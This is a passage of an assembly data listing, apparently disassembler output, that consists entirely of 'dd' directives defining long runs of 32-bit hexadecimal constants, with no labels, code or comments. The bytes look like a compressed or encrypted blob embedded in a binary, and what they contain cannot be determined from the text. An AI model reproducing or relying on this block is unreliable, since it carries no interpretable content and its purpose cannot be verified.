		dd 22F19DCAh, 93371F5Bh, 0BC6380BFh, 4F52740Fh,	1EA23907h
		dd 8880103Dh, 16971Ah, 0C27043B4h, 0E9BBE837h, 125A7100h
		dd 0E8FEF50h, 0D868001Ch, 0B3EA42D3h, 0A44CB421h, 0B12002Ch
		dd 702EDD1h, 0E2B90083h, 58694A6Ch, 0C5005F28h,	5D898F5Ch
		dd 7CF9531Fh, 79A000A8h, 168E4212h, 4000738Dh, 0E86D28EBh
		dd 30E18h, 468A109Ch, 6492074Fh, 0C7215400h, 896FD2FFh
		dd 269000ACh, 2481F505h, 7F00EA80h, 0F7C2AF82h,	0FAEFC9F8h
		dd 5EFF0FC8h, 0A43E0ABh, 47B00270h, 9005821h, 6AF8E2E9h
		dd 1616851Fh, 1553C08h,	0F2064369h, 0A5EEE012h,	0C9032707h
		dd 0C00687Dh, 0B0F3EC80h, 6750022h, 12F3AF8h, 0F0085D7h
		dd 31222F4h, 5CC3FD3Bh,	391C4A1Dh, 24CE4043h, 2DD8E83Dh
		dd 3D12EA26h, 47AF4907h, 0F1AE0260h, 0C8040054h, 22289121h
		dd 3A00442Fh, 30488A58h, 0EA1B8Bh, 3607A133h, 7D162CF1h
		dd 7BEA03FAh, 0B215200h, 88F0C464h, 5E4789Dh, 0B1CF71B8h
		dd 8E49C097h, 20009DBh,	8078BEFCh, 424412h, 0FE79B7E4h
		dd 387450DAh, 1353126h,	9992803Bh, 0C2D4717Eh, 24DD005Bh
		dd 0EBAE3BA0h, 41002CC4h, 823CB988h, 5C89CC29h,	63000A65h
		dd 0F3E7B0FAh, 680035A4h, 0A2AEB5DCh, 0D15ED4h,	8C38600Bh
		dd 56C3E850h, 8600C1E8h, 13B9E089h, 8B5B80h, 0FBC28110h
		dd 0A104D614h, 3BDBDF38h, 774900D2h, 0E035FFEEh, 40655C4Bh
		dd 45A4AF00h, 0E989619Ah, 5A046800h, 0AB505D28h, 87920758h
		dd 872449A6h, 86B25134h, 3C71F02Bh, 7B184D07h, 0C11078A4h
		dd 1D1CCC66h, 143EF8h, 4ED70889h, 83006C64h, 2F22098h
		dd 112FC53h, 1C2693F4h,	0F4E7AA85h, 73013B1Fh, 8819826Dh
		dd 0C6C81413h, 0C8AB00F7h, 584A4363h, 0B01F68EEh, 0CC808732h
		dd 6238788Dh, 0E346074Bh, 0CFAB1875h, 4E405861h, 69C9C8CBh
		dd 3E6A5F00h, 2437C48h,	18271E99h, 82007C55h, 6132A98h
		dd 4000D7FFh, 8CC3FE11h, 0AD0343h, 0F8A83D16h, 2105472Bh
		dd 7EA65400h, 0E90DE790h, 5CC4002Ch, 5219BCDAh,	4A00C0EFh
		dd 3684CAFh, 24A4A0h, 0C2E8D649h, 28B40743h, 0DD12B501h
		dd 45B85061h, 0E9641E0h, 8AC2379Ah, 0D305A6A1h,	7048FDCAh
		dd 0F0324C3h, 4AC894F7h, 8810DB7Fh, 0F0FD5F9Fh,	49D00F65h
		dd 0A9230814h, 1C0408Ah, 0F076034Eh, 93382B00h,	0B513E67Dh
		dd 1FCD7C82h, 9F3D81F8h, 1C80FA2Ch, 7A6E883h, 24E279FAh
		dd 32756600h, 4F84D74Eh, 0FFD50097h, 0B4EA3CC4h, 45003417h
		dd 52442168h, 313E065Bh, 4A7854C1h, 0FD2CC3Ah, 0A69C8500h
		dd 0DB9A52A7h, 0FCE200D9h, 4BA14634h, 2600EB54h, 0C32BA24h
		dd 0EECC0850h, 0F1B207DCh, 9464594Fh, 60098010h, 23A8FCBh
		dd 0A1F800A8h, 68672029h, 4FC62C28h, 0A9AA01ECh, 0F089D7CCh
		dd 0CF00440Ah, 0B7DC16CEh, 8A0E34h, 9A5C217Bh, 74D017D3h
		dd 8206A101h, 0C087E56Ch, 0D8C7D8h, 52B1D1ECh, 0E9C34005h
		dd 5300257Ch, 4B22ABC2h, 17E7524h, 5A32894Eh, 0E8D0E419h
		dd 297F27A3h, 6AB2F600h, 0A6CA5EA7h, 0F4AA0004h, 0BBB06DAFh
		dd 0FA004B79h, 0DC4F34FDh, 0FB577D5h, 1DC0CC57h, 41C26CEFh
		dd 5FC04DC2h, 83009872h, 62C6B0CAh, 3319AFh, 0E8C7042Ah
		dd 0D40D5AB8h, 8074FF3Dh, 5710DA60h, 0F883B903h, 68D00D8h
		dd 8614FD95h, 3500BBD2h, 311D892Bh, 2541B9h, 745106A3h
		dd 4E525B03h, 0B293D200h, 1A8F73E8h, 0D75313DDh, 699C00BFh
		dd 0CD65C26Dh, 0F4853B00h, 9149C48Dh, 30E860h, 739EB292h
		dd 786E7DCBh, 0FAE87000h, 9718B059h, 0F47B1EC1h, 83BD872Fh
		dd 4840F18Dh, 0E4ED600Dh, 0A35C1403h, 0B988A916h, 56309363h
		dd 0D6970012h, 106A6132h, 607C7DB9h, 86901C00h,	89B2EC5h
		dd 0DF81014Ah, 89A1919Eh, 0CC7AE0D3h, 220A5360h, 11C3E7h
		dd 31642F0h, 41EC1215h,	0C76A2300h, 0B4DA468Ch,	17C00019h
		dd 744A423Ah, 800A80Bh,	3E4C754Bh, 3D9B73h, 5D4E8CADh
		dd 0C519EC6Eh, 24145A00h, 0A694C125h, 83E002h, 0DC97FC6Dh
		dd 51702CC3h, 69AF000h,	0DE813EF4h, 1DE90002h, 29508E25h
		dd 6F00754Fh, 94526796h, 3809BD69h, 0A400EA2Fh,	0D87C0782h
		dd 8039E9C4h, 74B0097Dh, 4D560021h, 92DB91h, 32EC8F8h
		dd 1150C329h, 5F67440Fh, 5D012005h, 3DD5C7h, 260DDAE6h
		dd 824998F5h, 8774A01h,	0D4637550h, 0C8D01871h,	1906002Bh
		dd 0E7BCEAC6h, 55006F4Bh, 53705B86h, 51F06Bh, 0ABC85E75h
		dd 0D8E5A9B8h, 8500D177h, 4CF2DCEAh, 897458h, 0FC66EBD4h
		dd 5D719052h, 85AC8000h, 6A2EC922h, 4BEE1C55h, 101E7ED5h
		dd 2BAEC051h, 3C0FDF0h,	689F300h, 4C418CAFh, 42670075h
		dd 3399CB1Fh, 0C438C2EFh, 3114804Ah, 5E044669h,	4E581E6Ch
		dd 907D8025h, 0B4FE2F0Bh, 1A45DA00h, 4293C9CDh,	56290098h
		dd 7C58C399h, 2E00905Ah, 7B05F569h, 0E4246EBh, 27754D6Fh
		dd 0D5B00017h, 0A14A858Dh, 17EBF801h, 9A92FEB3h, 77A3D9D8h
		dd 0AB4B0367h, 94327866h, 0EED5C490h, 0E8194200h, 0C9C7933Ch
		dd 75480FCEh, 0F8E0C6ACh, 94D12E7Dh, 2DE18100h,	0AC13B27h
		dd 0CA033D02h, 89080700h, 1E907519h, 0C2D37D00h, 20449DBEh
		dd 95C11D05h, 8BD0CEA3h, 6109C380h, 0CC00C481h,	0F7F0167Fh
		dd 3AA9D40Ch, 0DCA5D006h, 0E41480D7h, 392EE091h, 0E6802466h
		dd 0DFB94B39h, 1F005B82h, 45C63842h, 0C4F964h, 83028485h
		dd 60D78A89h, 0FE508200h, 3C70228Bh, 0E754009Dh, 0F0EACE64h
		dd 530075DBh, 0CC88FF17h
		dd 7E38E9E2h, 5E070C5Ah, 0B6A28304h, 0DE171303h, 0F178FF10h
		dd 2660660Bh, 0B0F00Ch,	25FA453Bh, 5CF00D74h, 406C21Fh
		dd 21A9DAC0h, 168BDFh, 50176655h, 19458940h, 0B70FF200h
		dd 33310308h, 0E94300CCh, 3A3B0A60h, 741E3546h,	36000E67h
		dd 261F0954h, 0A03F0095h, 4F665001h, 0B008102h,	0A6F2B752h
		dd 3032FA53h, 755E0D45h, 0A9076241h, 2AD8A2B9h,	64178ED0h
		dd 1F20047h, 4EEC8238h,	270134F3h, 5DC04A8Fh, 1BCD2E6Bh
		dd 1D99DCh, 0EDA5FA29h,	0FBBB6001h, 2481660Bh, 1980FF7Dh
		dd 258A2976h, 0A00074F6h, 530DE1FFh, 6731579Ch,	50F248D9h
		dd 45B398Eh, 1CF4E83Bh,	6A80803Fh, 4E268D0Ah, 4F740008h
		dd 0ED8C03E7h, 7D00E91Eh, 3C51AEE0h, 0F1250F6h,	23AB4056h
		dd 9F53D20h, 0FC0101EAh, 22FEC9B3h, 0BE88565h, 3AFF450h
		dd 7FF64269h, 20E70E32h, 3C65BE58h, 0E7215317h,	0DD121FFFh
		dd 45CF0011h, 13BE0E62h, 0B0D47100h, 8C9D4792h,	3CA4070Ch
		dd 5090A303h, 83D5ECBDh, 0AC68501h, 52C77853h, 0F854ECh
		dd 50908603h, 4D07E924h, 83376400h, 8A84AD2Ah, 91480543h
		dd 0C09B124Ah, 30413201h, 0A8FEA973h, 42BAB800h, 15730ADCh
		dd 0C93D0045h, 0DA4B5A1Ch, 57004D82h, 3C47E194h, 0CFDC21h
		dd 44D88871h, 0EE39FEC7h, 1AE04A30h, 0C55E9h, 9348949Bh
		dd 0B681D291h, 75393Eh,	0AA51F527h, 4F42EDh, 0E31224A6h
		dd 0F687477Ch, 10939504h, 7C8014BFh, 740A25Ah, 0E802F49Dh
		dd 0F5687791h, 0F856C0DBh, 0D31C25FEh, 28DF582Ah, 89F20380h
		dd 2CE4542h, 5C261CC0h,	405D217Eh, 183CDC18h, 10352350h
		dd 5F00C212h, 0A18FC32h, 60C48554h, 0D031C4D4h,	873C7E1Bh
		dd 4DAF8190h, 0EE41058h, 121760E4h, 0BD90ABCh, 0B68F0882h
		dd 3740EBA0h, 523FD655h, 344380A5h, 0FC570DDBh,	867F00A8h
		dd 104512B5h, 0CC03FA91h, 0CA73B817h, 6BE000E2h, 1182DE4Ah
		dd 55001F62h, 0A48A3E19h, 13399Fh, 0B2EBFB54h, 9CB8C26Ch
		dd 81D40938h, 2978064Fh, 58619E11h, 0F3AFC8h, 0F7DC2074h
		dd 4CFDE002h, 54112300h, 83D24222h, 0D44800C1h,	0C925A7F2h
		dd 0E2021975h, 74A47F72h, 8EC7E0FBh, 71F70EB4h,	85E02CF0h
		dd 0E387831Ch, 500002F2h, 0FA16E98Ah, 3F930BD1h, 851F8DC3h
		dd 4B14032h, 0A83A1029h, 0A27D3Bh, 631277Eh, 3C432Bh, 530C63A1h
		dd 5D93CA24h, 0E01F1FE4h, 0FE3BF8h, 0B2830F28h,	308D8Bh
		dd 0E81E4053h, 6B3C1219h, 1876B3F6h, 4F07F400h,	8A05C283h
		dd 5F3203F5h, 0FFFA9629h, 8625DFB0h, 6A0033FAh,	0F1450B0h
		dd 189F87h, 6F22832Dh, 5940EFF7h, 0BC895407h, 0FAB04975h
		dd 0D1C680h, 83740567h,	724FBA68h, 0F021D605h, 0F780753Bh
		dd 488063h, 74182D7Bh, 0C69F3F3Ch, 8A424B00h, 0D241652Ah
		dd 478100EFh, 17C5625h,	6800625Bh, 12F03918h, 1DBDDA1Ch
		dd 0C07FC9A0h, 564767B6h, 6A4CFE15h, 340015Bh, 9EC75281h
		dd 772F9CCCh, 0BE053E86h, 44CA5900h, 8475F8A7h,	0FC1C400Bh
		dd 0DF3A0953h, 142B080h, 743CC23Bh, 226C000Ah, 0F4CF286Eh
		dd 4DE9009Fh, 254013A9h, 743AE448h, 0F74A829Dh,	60553899h
		dd 0EB75949h, 611DE1ABh, 51889A38h, 790B6603h, 0C88FC743h
		dd 714A610h, 3758E1A5h,	0E4069159h, 8EBD4092h, 4D786599h
		dd 0EA058DECh, 0B8E0A02Fh, 0F08B67C3h, 1B49B7Dh, 5D3EEBC2h
		dd 21E6AD71h, 0CB9A60CBh, 0DBC04D00h, 7C2FBADCh, 63760022h
		dd 5D50EA53h, 691FC973h, 5B1FFC96h, 97B89880h, 1F86D71h
		dd 679D18C2h, 0E0E22D24h, 7C7F1CD7h, 0ADD45C04h, 4980CDD8h
		dd 74F45969h, 0A5270379h, 8867DD25h, 12D865ABh,	5513B2ECh
		dd 20B8D0E5h, 1797EA00h, 0F8A53D23h, 15286728h,	0CCB3DF01h
		dd 484666C4h, 2F55DCh, 99C76806h, 0AB6E1597h, 54B34B33h
		dd 89DDD8CBh, 0A36800CFh, 0DA90E805h, 0B001E2Dh, 71D3A009h
		dd 78F25274h, 12FEB4h, 0E15AE659h, 708EC6Bh, 0C71C6300h
		dd 0BF0244F6h, 0C57284h, 0E28CB895h, 573FC9E4h,	13B07E00h
		dd 1541FF4Dh, 7B3C0040h, 273B9591h, 7800CB69h, 7EFDDA92h
		dd 90C916h, 0D302D088h,	49F3D69Dh, 18000574h, 955B1C36h
		dd 24588496h, 28FFF01h,	4E1E2B2Eh, 0C1574740h, 2894200h
		dd 598CF986h, 3FFCFAh, 78C89F0Ah, 9A4D1025h, 0FD45140h
		dd 53B05297h, 4009EB60h, 3500DE2Ah, 8CEEF992h, 1F5888FDh
		dd 43A63C24h, 2149B11h,	0D15298D0h, 8034F03Bh, 0B948A2FFh
		dd 0FFC097Bh, 0E946DADCh, 4D000D3h, 0D840FD2h, 39EE0200h
		dd 28ECC336h, 768390F6h, 0A350008Fh, 1466D4E2h,	3A00D845h
		dd 0DB138D16h, 39A53EBh, 0BBD3FBACh, 7BE0B603h,	3C00E340h
		dd 0AB866711h, 0E27D049h, 0CF467107h, 801DE800h, 4D7F0326h
		dd 59C11700h, 62478CD5h, 3CD91DB6h, 58CE45D2h, 6F2A8066h
		dd 103BBF86h, 233EAC45h, 4B074703h, 0B4C7E825h,	8230014h
		dd 0A9A1F9CFh, 70F50212h, 2B2C1CBAh, 881D3706h,	1BAC2040h
		dd 0E3D01h, 265A366Bh, 0BF4D50EDh, 0A1CD1C00h, 0A094C3C9h
		dd 453055Dh, 0E1D79C4Ch, 333E818h, 0A4140800h, 0C415BB86h
		dd 582BF01Dh, 5003835Dh, 78AD0364h, 0DEB014EBh,	0F1071EA8h
		dd 1832825Eh, 0C04B050h, 4C9F05D3h, 80DE7E75h, 83E9D5BEh
		dd 3A1D7B77h, 308F03C9h, 9D14020h, 14266Ah, 48A0AC52h
		dd 2C82B718h, 663DFB98h, 8A98009Dh, 0C321C954h,	2B8E2699h
		dd 71780158h, 0C4453561h, 0AD001238h, 14EB7F33h, 0B2C4396h
		dd 2F847D18h, 90DDC980h, 324C826h, 3F17E3FBh, 0A1575A00h
		dd 50CFFD2h, 83CD3B24h,	87D30023h, 0F210D455h, 127D600h
		dd 0B018C0F1h, 24C4070Eh, 302814BDh, 40CB439h, 0B376871Dh
		dd 0C884B900h, 17E902h,	0A2DD47E8h, 7E82F0BCh, 0B143A300h
		dd 0F37D08E2h, 0FA3D0364h, 1EF2FF4Fh, 387FEDF8h, 81430400h
		dd 0BFB31853h, 0BA0250A7h, 1EE2003Ch, 93843042h, 0D05C20F4h
		dd 40DE0052h, 2C34E4A1h, 0BD8500F8h, 5938C843h,	7A000BFCh
		dd 0C9535F84h, 2E8822h,	0B8C10104h, 4E603F10h, 3437BF1Fh
		dd 0C7E50A03h, 6575C8FCh, 537D00FFh, 28521BC1h,	90011D45h
		dd 74F685A5h, 55200F5Fh, 8B391ED1h, 0E5803AEEh,	0FDC44BAFh
		dd 0F202A6FBh, 3E642C25h, 0E018425Ch, 68548Ch, 96F809A4h
		dd 75FF9240h, 18492201h, 8E9BF12Fh, 4320C121h, 0C6B055h
		dd 0F4C5E987h, 422B610Ah, 0E8408200h, 9A57A34Dh, 517D0332h
		dd 0D444C960h, 0F77E88B0h, 3F509600h, 225BA38h,	0A786007Bh
		dd 6C8331C1h, 0F000CD71h, 3624EB62h, 53FE04h, 0F7E88AFBh
		dd 4B1E433Ah, 0A078756Fh, 8CE2FF03h, 11D507FBh,	0E0DE9421h
		dd 7EF0E599h, 84233200h, 31D016A9h, 96544C9Eh, 4A210075h
		dd 20622464h, 97EA433Ch, 18850400h, 0B2557329h,	486A02F3h
		dd 2BF0F449h, 35C5CBE0h, 90A93700h, 93075DD3h, 2AE10010h
		dd 5FEB5530h, 0BD008018h, 2FD73B3Eh, 0E30D72h, 730E1F3Dh
		dd 2ACAC106h, 81FEBECh,	87C3F83Ah, 0E8E6E375h, 5E9F8Eh
		dd 0DC102DC0h, 0F61CE881h, 16442200h, 0BC88EFC3h, 7B92004Fh
		dd 84FE2D2Ah, 0E60F5053h, 0C04BAC4Dh, 29A1E0E8h, 89853F42h
		dd 9CF58C81h, 0ECA83EF4h, 0DDEADAC7h, 1CBC530Eh, 0EE4B609Bh
		dd 0EE4692Ch, 5427D2A5h, 89051360h, 12006BA4h, 3C9FFB5Bh
		dd 1107053h, 88E22A11h,	0D9182134h, 4C0DD851h, 87493800h
		dd 50A28C91h
		dd 907515h, 8041FAD2h, 406AF633h, 30FFE21Dh, 902D7580h
		dd 0F66070Bh, 5A4D3881h, 78832400h, 7400E03Ch, 82801E4Bh
		dd 768F303h, 5615FC99h,	8108A023h, 4500503Eh, 27414C6h
		dd 38F6B572h, 3CF069FCh, 24006AF0h, 0EB4EBB28h,	0FE744A5Dh
		dd 1A83121Ch, 5F1F0240h, 90136574h, 72D9008Dh, 841464DBh
		dd 0EB730C62h, 7839F602h, 6031B849h, 5021F8FCh,	79E7C53Fh
		dd 34BA3E46h, 91005FD8h, 525AB774h, 0D5002367h,	8E037F86h
		dd 5C16EB3Ch, 0DA00CB77h, 0C8D0D73h, 0D103DD33h, 7B84CF21h
		dd 9C963B04h, 0E490E58Bh, 0C4C5700h, 0BE006C5Bh, 4EC426A3h
		dd 265EA10h, 0D08FABBCh, 0AA406982h, 900F4916h,	770A120h
		dd 6B77880Ah, 0C689AC90h, 31FC020Eh, 0CACF49C9h, 0B2C09740h
		dd 0C87030FCh, 19E98800h, 0B6F28AF1h, 66182708h, 784BA077h
		dd 89351209h, 440E0C34h, 0DA1C4275h, 9B803E80h,	0D2F75BD3h
		dd 25D100E4h, 57AD089h,	0B928C8ECh, 4B00C4B7h, 72D54442h
		dd 6B0EBh, 2ECBE1F3h, 16867799h, 0B4C30330h, 5F547Dh, 50B9B3A7h
		dd 33135CEAh, 0AF530100h, 58AE9E35h, 28680FA0h,	5C60B55Fh
		dd 50895294h, 59B18500h, 8A0BD123h, 0D8800002h,	0A126758h
		dd 42F05F2Eh, 0F0754905h, 0B7ECA1B0h, 92BDC00h,	0F35D5AF9h
		dd 79A55401h, 0E5957458h, 29FD7280h, 5BC85614h,	0D7FCD200h
		dd 9857701Ah, 78402E4Ch, 6040729h, 0F44AF0A3h, 0BF00FE41h
		dd 1D17BD82h, 0E6E3E80Bh, 2585002Dh, 0C65A4F78h, 733F61B2h
		dd 1B770019h, 0AE933B3Ah, 591A2675h, 0BA8100DDh, 3021C2Fh
		dd 86EFD81Dh, 54971100h, 3C3969Bh, 8A0A9BCh, 0D1D848EBh
		dd 2A383988h, 16E6F91Bh, 52432D00h, 0E923BCC7h,	20B8F2h
		dd 18583BBDh, 2F73820Fh, 4F93B200h, 22C43DAAh, 591004F0h
		dd 8394E22Dh, 51B360E9h, 0D5B80CB0h, 0B9013100h, 0D75C2042h
		dd 0B871E645h, 13F270B5h, 173EFE08h, 272F0039h,	0BAF7E07Eh
		dd 893055FEh, 80093AF4h, 0B72009F1h, 0C58302F9h, 0FFE8B204h
		dd 0CD9E567Ch, 6A513800h, 9A9C73h, 95880813h, 977CB85Ah
		dd 0C5BBF400h, 1561EA0Ah, 0F1100003h, 4912510Dh, 0A4581D0Eh
		dd 802C3F8Ah, 5E077562h, 0F8CA28h, 48EFE842h, 0A0E0FF96h
		dd 65E4C800h, 0DFBCBA95h, 7C60000Bh, 44AE545Fh,	0AD7BE093h
		dd 6972000h, 1A2643C6h,	4EB0001h, 7893DD0Dh, 540022CCh
		dd 2C085011h, 1E6D799Fh, 4057F12Dh, 730989F0h, 4600C630h
		dd 0F34E8DD6h, 0DE8CADh, 258B5967h, 0CBEFB91h, 5021C607h
		dd 28F0B256h, 0FEADB5DDh, 76D0FB59h, 30D11E20h,	0D5C5876Bh
		dd 751C5081h, 1EC339CFh, 80B1D62Bh, 0FD9B7Eh, 10E87349h
		dd 1EBB92D4h, 6328100h,	8E004E4h, 0D81F00DCh, 0A8F355D3h
		dd 0C4003121h, 0D6BDAEFBh, 9820A9Ah, 5FFE65CBh,	4F1A180h
		dd 5802EA81h, 0B3542F78h, 2ADDE0C4h, 0F5C20216h, 5F2664A2h
		dd 8A9360E0h, 831E4712h, 18446700h, 2E6689F7h, 30FC27Fh
		dd 0A4504824h, 0C9F858E0h, 6205D00h, 75894EF0h,	0F64A05BCh
		dd 0C0762CB4h, 0C7B3466Dh, 9D0F5000h, 1F2F2D82h, 5A901E55h
		dd 0EA484097h, 0CE223746h, 750058F4h, 196577EEh, 514B011h
		dd 3B398285h, 0B0AF8718h, 45807534h, 1AC5EC00h,	0EBE0176h
		dd 0CA020061h, 0D9A4AF06h, 0FE730D13h, 0C7958600h, 0AD775304h
		dd 5F8B00AEh, 0FB7D80C2h, 0CDEE88F0h, 2F008D7Bh, 0C715C663h
		dd 0B86F110Dh, 0E4101201h, 0BCFA0282h, 7E609D2Ah, 0DA0333EAh
		dd 7468C075h, 0C03FB331h, 35817A9h, 3E7995CEh, 1CE07567h
		dd 0F35EE26Fh, 0DC00F5A8h, 5114F669h, 4800B7DFh, 268DD83Bh
		dd 7A011A1h, 0AF07BA12h, 0D4F17174h, 7D85E454h,	5C38591Eh
		dd 0CAF23F00h, 1E74032Dh, 8562CCD6h, 0C09118AAh, 645A0A94h
		dd 3EC510Bh, 454500B5h,	1E05BAD4h, 5077D2Eh, 0FEAA81C4h
		dd 0C0FD2FC2h, 0E3AE87h, 0CAB541Ch, 6238FE95h, 0A032D32Eh
		dd 0FF22B400h, 0EE7384h, 0B0109C72h, 4BE7E968h,	8D2B60FBh
		dd 91DD9500h, 8C2E63E1h, 931313F0h, 420F003Fh, 0A6B1EB70h
		dd 0E7772200h, 0C75F4086h, 2C835C90h, 0C049F21Fh, 6A138C23h
		dd 0B500F4EBh, 7385DB51h, 16BA0221h, 0CAB4F2h, 53222A75h
		dd 0D800720Dh, 52C38A1Ah, 72865E01h, 0A76900E9h, 80D7B021h
		dd 334CCD38h, 401100B1h, 742E120Ah, 94D80066h, 0E0F42201h
		dd 1700FFFAh, 0C01D7525h, 0F467FE50h, 837713h, 0B2C9BF02h
		dd 0B152535Ah, 8AB32100h, 80C1B75h, 64560797h, 0E0D3220Fh
		dd 9E060DC9h, 5CE22B00h, 982D14E5h, 743300E9h, 4F9F6828h
		dd 5EF6FB42h, 0AA195507h, 3FAF18CBh, 463264C1h,	29EC4B35h
		dd 0F17B00ECh, 8BA1A490h, 82039F1Ah, 2717677Dh,	7F319177h
		dd 2E7142F8h, 0A07BEh, 66A01D8Bh, 79003064h, 0F6035FF8h
		dd 7AA1C6B8h, 5C97009Ch, 0D82E53A3h, 4D0B5BD0h,	0A94210h
		dd 4A445A6Ch, 9BBA1DCDh, 0CBA600C3h, 0FAE6C47Fh, 2FFB9E03h
		dd 0E01A57FCh, 293865h,	0D8DB3BA7h, 345D36E3h, 6C12A5EEh
		dd 0BBF49Bh, 6A0FE00Eh,	0EBEC9D01h, 1A0A9900h, 0ABC48688h
		dd 6753A29h, 0A1BD9000h, 0CAA73D68h, 0A8155D01h, 0B2BBFB92h
		dd 0EAD7C0h, 994AD02Dh,	0A436A010h, 763E8800h, 7D540AFDh
		dd 385F00BAh, 0B805D5E7h, 0EFA058CCh, 1CE2158Ch, 2CDF8900h
		dd 0B50ED494h, 0B0930383h, 0F0B86D5Ah, 2B89EFB0h, 59F46A00h
		dd 0E20E53F8h, 0EC480022h, 63C5035h, 0CE0FA63Dh, 0A0A11328h
		dd 0A03EBC96h, 0FCA4001Ch, 60C40647h, 0F24C3468h, 7890326h
		dd 0C0BBFD85h, 0BC5C58h, 0C275F803h, 0D35BC068h, 0DF29BF00h
		dd 669CDC88h, 7CCF842h,	6C4617B6h, 0A034B021h, 64394C9Eh
		dd 0EC62003Ch, 0D5F8101Fh, 27973A4Eh, 0F0F47AFFh, 48EE0Dh
		dd 0EF38DB79h, 0E552EE19h, 8F02333Dh, 0E1644414h, 4CE36837h
		dd 13AEDCCh, 54203D61h,	0F8430C7Fh, 8FA34B1h, 0C422B900h
		dd 0B32BAB2Dh, 0BB580012h, 0D6154E25h, 1D7F943Bh, 49792AC0h
		dd 72656B3Ah, 5E3C2466h, 36B401F3h, 302CD94Eh, 19074246h
		dd 82EB9A90h, 2A230360h, 584507B6h, 0B301B7AAh,	1EE83724h
		dd 62126A99h, 0B90136A7h, 4B03A045h, 4E52D0h, 7CF04C9Ah
		dd 9ED4475h, 0A954F513h, 419ED900h, 1CCA56DCh, 0C01C4950h
		dd 745F6547h, 0FCF161EDh, 7A037B64h, 20C37371h,	0BF69D852h
		dd 78450091h, 66DDF663h, 4CFCA0D3h, 73007CFCh, 4518F99Dh
		dd 0F0106D53h, 31880024h, 0C9028B62h, 3B00082Dh, 0DDD6F8E1h
		dd 0AD8D79h, 28FCD489h,	9C3A7D72h, 572EEA00h, 86CA3E62h
		dd 0C9113EF4h, 0EFE20683h, 26B05C78h, 5812753Dh, 9E008415h
		dd 0C74A8B28h, 11E21E3Ah, 0E8C000A5h, 0C4EAEF27h, 0D22E4F00h
		dd 2071740Ah, 7D7E02h, 0F9EEE7E0h, 453DB664h, 0C42A0800h
		dd 0CBC70D14h, 439E00D6h, 3F816605h, 0FD0025FFh, 26E83DD2h
		dd 1C6CEFh, 1E389507h, 0AA2769C4h, 0A6D6241Dh, 0E0E85A8Fh
		dd 0EE3AE1B5h, 91670053h, 0C64E3E10h, 3F034F55h, 4B7AD2B1h
		dd 0D875CBC9h, 0C3FA50h, 6F0032Ah, 26F3F85Bh, 80CE103Bh
		dd 52E22C92h, 0A46DA7h,	0B3446BEFh, 0C308BB43h,	0CA535026h
		dd 0F53B1700h, 0E68B828h, 0D2395411h, 89782B40h, 6A000AC8h
		dd 0A7B052B2h, 7CA10974h, 0EAD1F4CEh, 713800EBh, 0BD5EBFAAh
		dd 9007D0Eh, 5478D68h, 0FE63ECE2h, 0D52C0378h, 0A06171Dh
		dd 0C20146F0h, 6900E8ECh, 1505ED39h, 0FE388934h, 65C31FBDh
		dd 6581E542h
		dd 0E0A00E6Eh, 2B00DE8Bh, 81E41C5Dh, 714FBh, 646885BDh
		dd 162F8629h, 8AEAAC00h, 0E455121Ch, 4A4800F7h,	278358E0h
		dd 2B3B04EBh, 5F9E9F68h, 7D19F3C0h, 0F05497h, 0B4517F52h
		dd 38783644h, 324638h, 33D08B56h, 0FEBF6h, 80068A7Dh, 5742FF9h
		dd 5C5F0A00h, 42F29007h, 0F3A00D7h, 0ABD0EC09h,	0A6000354h
		dd 0FCC34A5Eh, 7C75F7F0h, 17E51753h, 42470030h,	0B8A0D73Ah
		dd 0DF822900h, 0FCE488D1h, 7E3700BEh, 95EB1C7Bh, 177892F7h
		dd 0DA19A10Fh, 3CA900EDh, 0FD3E8Bh, 9A708845h, 0C94F943Ah
		dd 1241520Eh, 0F4538024h, 284ADCh, 6389E2C1h, 3C7B8E5Dh
		dd 3B7CE800h, 5C033A78h, 1D1C003Fh, 40F61304h, 5F0B148Fh
		dd 34A5A5Bh, 0F16886E4h, 6520C13Bh, 0F0A61C8Ch,	209FBD8Eh
		dd 0D9B5001Ch, 301BAD96h, 0BE95D500h, 4A4D8EBFh, 687F3F73h
		dd 0C49D5100h, 45EB3E70h, 34A97D0Eh, 35C07EE4h,	2147D3BDh
		dd 506F00E0h, 2F58107Ah, 93F8B702h, 0FEE96E05h,	0CB010FFFh
		dd 0C231A26Ah, 0C0428820h, 2E06BA34h, 0EEFF23A3h, 0E59BC05Fh
		dd 0F8DC00BBh, 0BF94B054h, 5B0263D0h, 78DFE964h, 322861ACh
		dd 1331803Bh, 0EFFC6C75h, 625C2300h, 0FDFB447Ah, 0BEE70361h
		dd 0BB4EDF1Eh, 792C63F8h, 0F86D5E1Dh, 202ED980h, 0F72A6Bh
		dd 4C7D62AEh, 7986E34Fh, 6DDCE03h, 0D8ACF63Ch, 641A53h
		dd 0B38D702Eh, 14B67582h, 52509F07h, 0FBC15DCFh, 0B9EC4E78h
		dd 0F88400F0h, 6BB453FEh, 74039714h, 0FABD0DA7h, 48C2F81Fh
		dd 0E8830002h, 30B83AA2h, 202C264Bh, 0B501D512h, 762C4306h
		dd 0F00A89D0h, 0EF6D099Bh, 0D88029FEh, 66C78B3Fh, 547E9AFCh
		dd 0A9165Ch, 55FC4492h,	51930Fh, 0CF10B22h, 16F8678Bh
		dd 0CFBE7503h, 0B0381ACEh, 0C0103Ah, 0FE124B1Ch, 74C9DD6h
		dd 7D00ADB0h, 0CB51ACFCh, 972F10h, 4F022944h, 7E12A90Ch
		dd 8F0B870Fh, 31F9802Dh, 1CE3543h, 9422274h, 0D9192436h
		dd 0E910D137h, 1C85E83Ah, 83B8B73Eh, 8CEC7DC2h,	33C0EFA5h
		dd 0EF57519h, 4D88982Bh, 8669680h, 553D4126h, 0EB3B9C4Bh
		dd 39F98443h, 8AEA0715h, 70F8AB27h, 4B8296ACh, 4A337C00h
		dd 0F2F5EB8h, 51760084h, 38F1DFABh, 413FAF98h, 2CB9C7h
		dd 951DAC9Ch, 0E106097h, 5EFF483Bh, 8D1C3040h, 0DF7A0853h
		dd 0C1E1500h, 0ABF656Eh, 4A4B00EBh, 42203911h, 0E526695Bh
		dd 0C80001C9h, 0F32D91Bh, 79E005Ch, 830E731Eh, 8D3E0401h
		dd 0B490F485h, 8074F83Fh, 0DC8265BEh, 0EDB71069h, 774BC0h
		dd 155C81Eh, 0CBD52EC9h, 0A2F91600h, 64146E09h,	7507846h
		dd 70965534h, 0C6B75160h, 3ED7F092h, 0FCFC73Fh,	61E9E0E5h
		dd 6C79FE9Fh, 1FC5E2C4h, 0C0146A43h, 0E958C08Fh, 1CB82EF1h
		dd 5C087D00h, 3F840ADh,	0B93500B4h, 0EF8B0689h,	0A5EE795Dh
